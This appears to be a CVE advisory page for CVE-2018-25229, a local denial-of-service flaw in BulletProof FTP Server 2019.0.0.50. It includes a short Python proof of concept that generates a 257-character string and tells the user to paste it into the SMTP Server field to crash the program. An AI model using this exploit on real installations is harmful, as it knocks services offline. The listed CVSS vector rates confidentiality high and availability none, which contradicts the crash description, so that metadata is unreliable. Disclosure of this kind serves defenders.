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CVE-2018-25229 CVSS 5.5 MEDIUM

CVE-2018-25229

Published: 2026-03-30 12:16:16
Last Modified: 2026-03-31 19:16:38

Description

BulletProof FTP Server 2019.0.0.50 contains a denial of service vulnerability in the SMTP configuration interface that allows local attackers to crash the application by supplying an oversized string. Attackers can input a buffer of 257 'A' characters in the SMTP Server field and trigger a crash by clicking the Test button.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:bpftpserver:bulletproof_ftp_server:2019.0.0.50:*:*:*:*:*:*:* - VULNERABLE
BulletProof FTP Server 2019.0.0.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2018-25229 # Vulnerability: Denial of Service in BulletProof FTP Server 2019.0.0.50 payload = "A" * 257 print("[+] Payload generated:") print(payload) print("[+] Instruction: Paste the payload into the 'SMTP Server' field and click 'Test'.") print("[+] Application should crash.")

References

Raw JSON Data

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